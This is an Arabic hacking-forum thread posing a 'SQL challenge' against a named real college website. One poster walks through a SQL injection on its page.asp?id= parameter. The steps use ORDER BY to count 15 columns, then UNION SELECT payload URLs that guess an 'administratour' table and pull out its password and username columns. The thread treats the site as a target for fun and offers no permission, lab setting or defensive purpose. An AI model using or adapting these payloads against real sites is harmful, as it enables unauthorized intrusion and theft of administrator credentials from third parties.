{SQL}تحدي SQL

aircrack -ng · 10-05-2011, 10:04 PM

اقتباس

المشاركة الأصلية كتبت بواسطة CODE3


	الفائز في التحدي الاول هو:المفترس التحدي الثاني مستوى التحدي أصعب من الاول كود PHP: `http://www.galilcol.ac.il/page.asp?id=17`

هههههههههههههههههههه يلزم كيلو ونص تخمين عشان تضهر الاعمده المصابه وبعدها كيلو تخمين عشان تجيب الباس واليوزر

v]: VSQLCjp]d SQL

aircrack -ng · 10-05-2011, 10:11 PM

نعطي لمحه على هالنوع من الحقن
هون نستعمل الامر order by عادي
طيب طلع معانا 15 عمود

كود:

http://www.galilcol.ac.il/page.asp?id=17 order by 15

المرحله التانيه لازم نستعمل التخمين عشان تظهر الاعمده المصابه مثلا انا خمنت شوي ومانفع المهم نخمن مثلا هيك

كود:

http://www.galilcol.ac.il/page.asp?id=17 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+administratour

نفرض انو طلع معانا العمود المصاب 5 مكان العمود المصاب نجرب نخمن مثلا password وكمان username

مثلا

كود:

http://www.galilcol.ac.il/page.asp?id=17 UNION SELECT 1,2,3,4,password,6,7,8,9,10,11,12,13,14,15+from+administratour

هذا مجرد مثال

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام